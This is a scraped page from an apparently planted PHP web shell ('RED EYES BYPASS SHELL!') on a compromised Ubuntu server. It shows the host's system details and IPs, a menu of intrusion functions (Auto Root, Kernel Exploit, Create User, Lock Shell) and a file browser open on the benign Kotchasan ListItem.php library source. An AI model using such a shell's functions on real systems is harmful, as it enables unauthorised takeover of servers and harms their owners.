Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
accout /
Kotchasan /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
Cache
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Orm
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Psr
[ DIR ]
drwxr-xr-x
Accordion.php
2.59
KB
-rwxr-xr-x
ApiController.php
5.59
KB
-rwxr-xr-x
ApiException.php
431
B
-rwxr-xr-x
ArrayTool.php
16.99
KB
-rwxr-xr-x
CKEditor.php
5.5
KB
-rwxr-xr-x
Collection.php
4.73
KB
-rwxr-xr-x
Config.php
8.7
KB
-rwxr-xr-x
Controller.php
512
B
-rwxr-xr-x
Country.php
31.94
KB
-rwxr-xr-x
Csv.php
9.82
KB
-rwxr-xr-x
Curl.php
8.35
KB
-rwxr-xr-x
Currency.php
12.71
KB
-rwxr-xr-x
DOMNode.php
6.07
KB
-rwxr-xr-x
DOMParser.php
6.58
KB
-rwxr-xr-x
DataTable.php
50.94
KB
-rwxr-xr-x
Database.php
3.26
KB
-rwxr-xr-x
Date.php
8.26
KB
-rwxr-xr-x
Email.php
7.12
KB
-rwxr-xr-x
File.php
4.52
KB
-rwxr-xr-x
Files.php
3.05
KB
-rwxr-xr-x
Form.php
36.01
KB
-rwxr-xr-x
Grid.php
1.02
KB
-rwxr-xr-x
Html.php
21.1
KB
-rwxr-xr-x
HtmlTable.php
6.97
KB
-rwxr-xr-x
Htmldoc.php
4.37
KB
-rwxr-xr-x
Image.php
13.58
KB
-rwxr-xr-x
InputItem.php
20.1
KB
-rwxr-xr-x
InputItemException.php
449
B
-rwxr-xr-x
Inputs.php
4.29
KB
-rwxr-xr-x
KBase.php
561
B
-rwxr-xr-x
Kotchasan.php
2.73
KB
-rwxr-xr-x
Language.php
18.22
KB
-rwxr-xr-x
ListItem.php
7.77
KB
-rwxr-xr-x
Login.php
9.3
KB
-rwxr-xr-x
Menu.php
2.92
KB
-rwxr-xr-x
Mime.php
51.18
KB
-rwxr-xr-x
Model.php
1.31
KB
-rwxr-xr-x
Number.php
2.64
KB
-rwxr-xr-x
ObjectTool.php
3.73
KB
-rwxr-xr-x
Password.php
2.97
KB
-rwxr-xr-x
Pdf.php
43.15
KB
-rwxr-xr-x
Province.php
11.71
KB
-rwxr-xr-x
Router.php
5.45
KB
-rwxr-xr-x
Session.php
2.22
KB
-rwxr-xr-x
Singleton.php
1.3
KB
-rwxr-xr-x
Tab.php
3.72
KB
-rwxr-xr-x
Template.php
8.37
KB
-rwxr-xr-x
Text.php
12.89
KB
-rwxr-xr-x
Validator.php
2.7
KB
-rwxr-xr-x
View.php
8.16
KB
-rwxr-xr-x
Xls.php
3.04
KB
-rwxr-xr-x
load.php
15.54
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ListItem.php
<?php /** * @filesource Kotchasan/ListItem.php * * @copyright 2016 Goragod.com * @license https://www.kotchasan.com/license/ * * @see https://www.kotchasan.com/ */ namespace Kotchasan; /** * คลาสสำหรับจัดการแอเรย์ * * @author Goragod Wiriya <admin@goragod.com> * * @since 1.0 */ class ListItem { /** * ข้อมูล * * @var array */ public $datas; /** * ที่อยู่ไฟล์ที่โหลดมา * * @var string */ private $source; /** * นำเข้าข้อมูลครั้งละหลายรายการ * * @param array $array ข้อมูลที่ต้องการนำเข้า */ public function assign($array) { if (isset($this->datas)) { $this->datas = array_merge($this->datas, $array); } else { $this->datas = $array; } } /** * ลบข้อมูลทั้งหมด */ public function clear() { unset($this->datas); } /** * อ่านจำนวนสมาชิกทั้งหมด * * @return int จำนวนสมาชิกทั้งหมด */ public function count() { return count($this->datas); } /** * ลบรายการที่กำหนด * คืนค่า true ถ้าสำเร็จ, false ถ้าไม่พบ * * @param string $key ของรายการที่ต้องการจะลบ * * @return bool */ public function delete($key) { if (array_key_exists($key, $this->datas)) { unset($this->datas[$key]); return true; } return false; } /** * คืนค่าแอเรย์รายการแรก * * @return mixed */ public function firstItem() { return reset($this->datas); } /** * อ่านข้อมูลที่ $key * คืนค่ารายการที่ $key ถ้าไม่พบคืนค่า null * * @param string $key * * @return mixed */ public function get($key) { return array_key_exists($key, $this->datas) ? $this->datas[$key] : null; } /** * ค้นหาข้อมูลในแอเรย์ * คืนค่า key ของรายการที่พบ ถ้าไม่พบคืนค่า false * * @param mixed $value รายการค้นหา * * @return mixed */ public function indexOf($value) { return array_search($value, $this->datas); } /** * กำหนดค่าเริ่มต้นของ Class * * @param array $config */ public function init($config) { $this->datas = $config; } /** * เพิ่มรายการใหม่ต่อจากรายการที่ $key * * @param mixed $key * @param mixed $item รายการใหม่ */ public function insert($key, $item) { if (is_int($key) && $key == count($this->datas)) { $this->datas[] = $item; } else { $temp = $this->datas; $this->datas = array(); foreach ($temp as $k => $value) { $this->datas[$k] = $value; if ($k == $key) { $this->datas[$key] = $item; } } } } /** * เพิ่มรายการใหม่ก่อนรายการที่ $key * * @param mixed $key * @param mixed $item รายการใหม่ */ public function insertBefore($key, $item) { $temp = $this->datas; $this->datas = array(); foreach ($temp as $k => $value) { if ($k == $key) { $this->datas[$key] = $item; } $this->datas[$k] = $value; } } /** * อ่านจำนวนรายการทั้งหมด * * @return array */ public function items() { return $this->datas; } /** * อ่านรายชื่อ keys * คืนค่า แอเรย์ของรายการ key ทั้งหมด * * @return array */ public function keys() { return array_keys($this->datas); } /** * คืนค่าแอเรย์รายการสุดท้าย * * @return mixed */ public function lastItem() { return end($this->datas); } /** * โหลดแอเรย์จากไฟล์ * * @param string $file ชื่อไฟล์ที่ต้องการโหลดรวม path * * @return \static */ public function loadFromFile($file) { if (is_file($file)) { $config = include $file; $this->source = $file; $this->assign($config); } return $this; } /** * บันทึกเป็นไฟล์ * คืนค่า true ถ้าสำเร็จ * * @return bool */ public function saveToFile() { if (!isset($this->source) || empty($this->datas)) { return false; } else { $datas = array(); foreach ($this->datas as $key => $value) { if (is_array($value)) { $datas[] = (is_int($key) ? $key : "'".strtolower($key)."'")." => array(\n".$this->arrayToString(1, $value)."\n\t)"; } else { $datas[] = (is_int($key) ? $key : "'".strtolower($key)."'").' => '.(is_int($value) ? $value : "'".addslashes($value)."'"); } } $file = str_replace(ROOT_PATH, '', $this->source); $f = @fopen(ROOT_PATH.$file, 'w'); if ($f === false) { return false; } else { fwrite($f, "<?php\n/* $file */\nreturn array (\n\t".implode(",\n\t", $datas)."\n);"); fclose($f); return true; } } } /** * เพิ่มรายการใหม่ที่ลำดับสุดท้าย ถ้ามี $key อยู่แล้วจะแทนที่รายการเดิม * * @param string $key * @param mixed $value */ public function set($key, $value) { $this->datas[$key] = $value; } /** * คืนค่า แอเรย์ของข้อมูลทั้งหมด * * @return array */ public function values() { return array_values($this->datas); } /** * array to string * * @param int $indent * @param array $array * * @return string */ private function arrayToString($indent, $array) { $t = str_repeat("\t", $indent + 1); foreach ($array as $key => $value) { if (is_array($value)) { $datas[] = (is_int($key) ? $key : "'$key'")." => array(\n".$this->arrayToString($indent + 1, $value)."\n$t)"; } else { $datas[] = (is_int($key) ? $key : "'$key'").' => '.(is_int($value) ? $value : "'".addslashes($value)."'"); } } return $t.implode(",\n$t", $datas); } }
Close